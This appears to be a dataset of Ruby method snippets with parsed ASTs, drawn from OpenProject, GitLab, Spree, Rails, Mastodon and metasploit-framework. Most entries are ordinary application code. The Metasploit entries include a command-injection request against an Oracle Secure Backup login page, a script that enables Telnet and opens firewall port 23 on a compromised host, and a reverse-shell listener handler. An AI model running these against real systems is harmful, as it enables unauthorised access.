{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/flash/expectations.rb","start_line":34,"raw_source":"def expected_flash_css(type)\n      scheme = mapped_flash_type(type)\n      case scheme\n      when :default\n        %{[data-test-selector=\"op-primer-flash-message\"].Banner}\n      else\n        %{[data-test-selector=\"op-primer-flash-message\"].Banner--#{scheme}}\n      end\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_flash_css\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scheme\",{\"type\":\"send\",\"children\":[null,\"mapped_flash_type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scheme\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-primer-flash-message\\\"].Banner\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"op-primer-flash-message\\\"].Banner--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scheme\"]}]}]}]}]}]}","id":"0d975874-a751-4236-86eb-efa14d6def92"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/explore/groups_list_spec.rb","start_line":135,"raw_source":"def search(term)\n    filter_input = find_by_testid('filtered-search-term-input')\n    filter_input.click\n    filter_input.set(term)\n    click_button 'Search'\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"term\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter_input\",{\"type\":\"send\",\"children\":[null,\"find_by_testid\",{\"type\":\"str\",\"children\":[\"filtered-search-term-input\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_input\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter_input\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"term\"]}]},{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Search\"]}]}]}]}","id":"00e4356f-b538-4e90-bff5-48ec9a5f88e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/projects/storage.rb","start_line":43,"raw_source":"def count_required_storage\n      storage = self.class.with_required_storage.find(id)\n\n      {\n        \"total\" => storage.required_disk_space,\n        \"modules\" => {\n          \"label_work_package_plural\" => storage.work_package_required_space,\n          \"project_module_wiki\" => storage.wiki_required_space,\n          \"label_repository\" => storage.repositories_required_space\n        }.select { |_, v| v.present? && v.positive? }\n      }\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"count_required_storage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"storage\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_required_storage\"]},\"find\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"required_disk_space\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"modules\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"label_work_package_plural\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"work_package_required_space\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"project_module_wiki\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"wiki_required_space\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"label_repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"repositories_required_space\"]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"positive?\"]}]}]}]}]}]}]}","id":"69b2cdab-a4df-46c5-8b46-2f03b588c322"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/group_ownership.rb","start_line":40,"raw_source":"def find_categories(group)\n        available_groups[group]&.fetch(:categories)\n      end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_categories\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_groups\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},\"fetch\",{\"type\":\"sym\",\"children\":[\"categories\"]}]}]}","id":"c9d8fd01-df7e-4083-9d73-e82cdcdb3bb8"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/menu_helper.rb","start_line":303,"raw_source":"def node_selected?(item)\n    current_menu_item == item.name || no_wiki_menu_item_selected?(item)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"node_selected?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_menu_item\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"no_wiki_menu_item_selected?\",{\"type\":\"lvar\",\"children\":[\"item\"]}]}]}]}","id":"073a24b2-54aa-4e4e-bb7b-f7eb8f4ded53"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/common.rb","start_line":275,"raw_source":"def get_column_value(work_package, column_name)\n    formatter = wp_formatter_for(column_name, :pdf)\n    formatter.format(work_package)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_column_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"column_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"formatter\",{\"type\":\"send\",\"children\":[null,\"wp_formatter_for\",{\"type\":\"lvar\",\"children\":[\"column_name\"]},{\"type\":\"sym\",\"children\":[\"pdf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},\"format\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]}","id":"b0a99df6-9a99-4f97-bd64-1371d512fee4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/bulk_imports_controller.rb","start_line":103,"raw_source":"def serialized_data(data)\n    serializer.represent(data, {}, Import::BulkImportEntity)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialized_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serializer\"]},\"represent\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"BulkImportEntity\"]}]}]}","id":"30934b90-be26-4164-87dc-d8a7c2ecdf6c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/gettelnet.rb","start_line":75,"raw_source":"def enabletlntsrv()\n  key2 = \"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\services\\\\TlntSvr\\\\\"\n  value2 = \"Start\"\n  begin\n    v2 = registry_getvaldata(key2,value2)\n    print_status \"Setting Telnet Server Services service startup mode\"\n    if v2 != 2\n      print_status \"\\tThe Telnet Server Services service is not set to auto, changing it to auto ...\"\n      cmmds = [ 'sc config TlntSvr start= auto', \"sc start TlntSvr\", ]\n      cmmds. each do |cmd|\n        cmd_exec(cmd)\n      end\n    else\n      print_status \"\\tTelnet Server Services service is already set to auto\"\n    end\n    # Enabling Exception on the Firewall\n    print_status \"\\tOpening port in local firewall if necessary\"\n    cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable')\n\n  rescue::Exception => e\n    print_status(\"The following Error was encountered: #{e.class} #{e}\")\n  end\n\nend","complexity_score":23.65,"ast_json":"{\"type\":\"def\",\"children\":[\"enabletlntsrv\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key2\",{\"type\":\"str\",\"children\":[\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\services\\\\TlntSvr\\\\\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value2\",{\"type\":\"str\",\"children\":[\"Start\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v2\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"key2\"]},{\"type\":\"lvar\",\"children\":[\"value2\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Setting Telnet Server Services service startup mode\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v2\"]},\"!=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\\tThe Telnet Server Services service is not set to auto, changing it to auto ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cmmds\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sc config TlntSvr start= auto\"]},{\"type\":\"str\",\"children\":[\"sc start TlntSvr\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmmds\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\\tTelnet Server Services service is already set to auto\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\\tOpening port in local firewall if necessary\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"netsh firewall set portopening protocol = tcp port = 23 mode = enable\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The following Error was encountered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}","id":"f7d9d736-254e-4316-8ae2-6589f122ee30"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/oracle/osb_execqr.rb","start_line":43,"raw_source":"def run\n    r = Rex::Text.rand_text_english(2)\n\n    cmd = datastore['CMD']\n\n    uri = \"/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool=\"\n\n    req = uri + Rex::Text.uri_encode(cmd)\n\n    print_status(\"Sending command: #{datastore['CMD']}...\")\n\n    send_request_raw({ 'uri' => req }, 5)\n\n    print_status('Done.')\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_english\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"str\",\"children\":[\"&button=Logout&rbtool=\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CMD\"]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Done.\"]}]}]}]}","id":"0e72b35b-fb7f-4bd1-aa34-e21beeeb2b0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/notes/discussion.rb","start_line":13,"raw_source":"def discussions(context_noteable = nil)\n        ::Discussion.build_collection(all.includes(parent_object_field).order_created_at_id_asc, context_noteable)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"discussions\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"context_noteable\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Discussion\"]},\"build_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"includes\",{\"type\":\"send\",\"children\":[null,\"parent_object_field\"]}]},\"order_created_at_id_asc\"]},{\"type\":\"lvar\",\"children\":[\"context_noteable\"]}]}]}","id":"65ca1283-3fdd-4bf8-aaba-d9ab1006304b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/handler/reverse_tcp_double_ssl.rb","start_line":136,"raw_source":"def start_handler\n    self.listener_thread = framework.threads.spawn(\"ReverseTcpDoubleSSLHandlerListener\", false) {\n      sock_inp = nil\n      sock_out = nil\n\n      begin\n        # Accept two client connection\n        begin\n          client_a = self.listener_sock.accept\n          print_status(\"Accepted the first client connection...\")\n\n          client_b = self.listener_sock.accept\n          print_status(\"Accepted the second client connection...\")\n        rescue\n          wlog(\"Exception raised during listener accept: #{$!}\\n\\n#{$@.join(\"\\n\")}\")\n          return nil\n        end\n\n        # Increment the has connection counter\n        self.pending_connections += 1\n\n        # Start a new thread and pass the client connection\n        # as the input and output pipe.  Client's are expected\n        # to implement the Stream interface.\n        conn_threads << framework.threads.spawn(\"ReverseTcpDoubleSSLHandlerSession\", false, client_a, client_b) { | client_a_copy, client_b_copy|\n          begin\n            sock_inp, sock_out = detect_input_output(client_a_copy, client_b_copy)\n            chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp, sock_out)\n            handle_connection(chan.lsock, { datastore: datastore })\n          rescue => e\n            elog('Exception raised from handle_connection', error: e)\n          end\n        }\n      end while true\n    }\n  end","complexity_score":62.25,"ast_json":"{\"type\":\"def\",\"children\":[\"start_handler\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_thread=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"ReverseTcpDoubleSSLHandlerListener\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sock_inp\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"sock_out\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"while_post\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client_a\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_sock\"]},\"accept\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Accepted the first client connection...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"client_b\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"listener_sock\"]},\"accept\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Accepted the second client connection...\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception raised during listener accept: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$!\"]}]},{\"type\":\"str\",\"children\":[\"\\n\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$@\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pending_connections\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conn_threads\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"ReverseTcpDoubleSSLHandlerSession\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"client_a\"]},{\"type\":\"lvar\",\"children\":[\"client_b\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client_a_copy\"]},{\"type\":\"arg\",\"children\":[\"client_b_copy\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sock_inp\"]},{\"type\":\"lvasgn\",\"children\":[\"sock_out\"]}]},{\"type\":\"send\",\"children\":[null,\"detect_input_output\",{\"type\":\"lvar\",\"children\":[\"client_a_copy\"]},{\"type\":\"lvar\",\"children\":[\"client_b_copy\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"chan\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TcpReverseDoubleSSLSessionChannel\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"framework\"]},{\"type\":\"lvar\",\"children\":[\"sock_inp\"]},{\"type\":\"lvar\",\"children\":[\"sock_out\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chan\"]},\"lsock\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"datastore\"]},{\"type\":\"send\",\"children\":[null,\"datastore\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Exception raised from handle_connection\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}]}]}]}]}]}]}","id":"deead470-98d9-495c-a836-726c559be023"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxon.rb","start_line":116,"raw_source":"def self.search_by_name(query)\n        i18n { name.lower.matches(\"%#{query.downcase}%\") }\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"search_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"i18n\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"lower\"]},\"matches\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"downcase\"]}]},{\"type\":\"str\",\"children\":[\"%\"]}]}]}]}]}","id":"a6717101-cc49-4f09-9e59-630dff476f2a"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/metadata.rb","start_line":234,"raw_source":"def described_class\n          metadata[:example_group][:described_class]\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"described_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metadata\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"example_group\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"described_class\"]}]}]}","id":"51ef9f08-7b37-424c-91f5-50117df7d71a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/delete_relation_with_returning.rb","start_line":52,"raw_source":"def returning_columns\n        @returning_columns ||= returning.presence || column_names\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"returning_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@returning_columns\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"returning\"]},\"presence\"]},{\"type\":\"send\",\"children\":[null,\"column_names\"]}]}]}]}","id":"9b134724-f400-460d-abe9-d8a79f48b69b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion_handler/free_shipping.rb","start_line":14,"raw_source":"def activate\n        promotions.each do |promotion|\n          next if promotion.coupon_code? && !order_promo_ids.include?(promotion.id)\n\n          promotion.activate(order: order) if promotion.eligible?(order)\n        end\n      end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"activate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"promotions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"promotion\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"promotion\"]},\"coupon_code?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order_promo_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"promotion\"]},\"id\"]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"promotion\"]},\"eligible?\",{\"type\":\"send\",\"children\":[null,\"order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"promotion\"]},\"activate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"order\"]}]}]}]},null]}]}]}]}","id":"9905241c-00f8-4236-9bb1-430e0e80ae63"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/instance_accounts_measure.rb","start_line":30,"raw_source":"def sql_array\n    [sql_query_string, { start_at: @start_at, end_at: @end_at, domain: params[:domain] }]\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_array\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sql_query_string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_at\"]},{\"type\":\"ivar\",\"children\":[\"@start_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_at\"]},{\"type\":\"ivar\",\"children\":[\"@end_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]}]}]}]}","id":"26d6631e-d187-43a1-96c1-ed3c3cd6ceb4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/transactions.rb","start_line":285,"raw_source":"def after_commit(*args, &block)\n        set_options_for_callbacks!(args, prepend_option)\n        set_callback(:commit, :after, *args, &block)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"after_commit\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_options_for_callbacks!\",{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[null,\"prepend_option\"]}]},{\"type\":\"send\",\"children\":[null,\"set_callback\",{\"type\":\"sym\",\"children\":[\"commit\"]},{\"type\":\"sym\",\"children\":[\"after\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"e96fdb72-6625-4ad4-a1ed-7ceb35a96d54"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/uuid/options.rb","start_line":106,"raw_source":"def record_payload_uuid_url(uuid, url)\n    return unless datastore['PayloadUUIDTracking']\n    # skip if there is no active database\n    if (framework.db && framework.db.active)\n      payload_info = {\n          uuid: uuid.puid_hex,\n      }\n      payload = framework.db.payloads(payload_info).first\n      unless payload.nil?\n        urls = payload.urls.nil? ? [] : payload.urls\n        urls << url\n        urls.uniq!\n        framework.db.update_payload({id: payload.id, urls: urls})\n      end\n    else\n      print_warning('Without a database connected that payload UUID tracking will not work!')\n    end\n  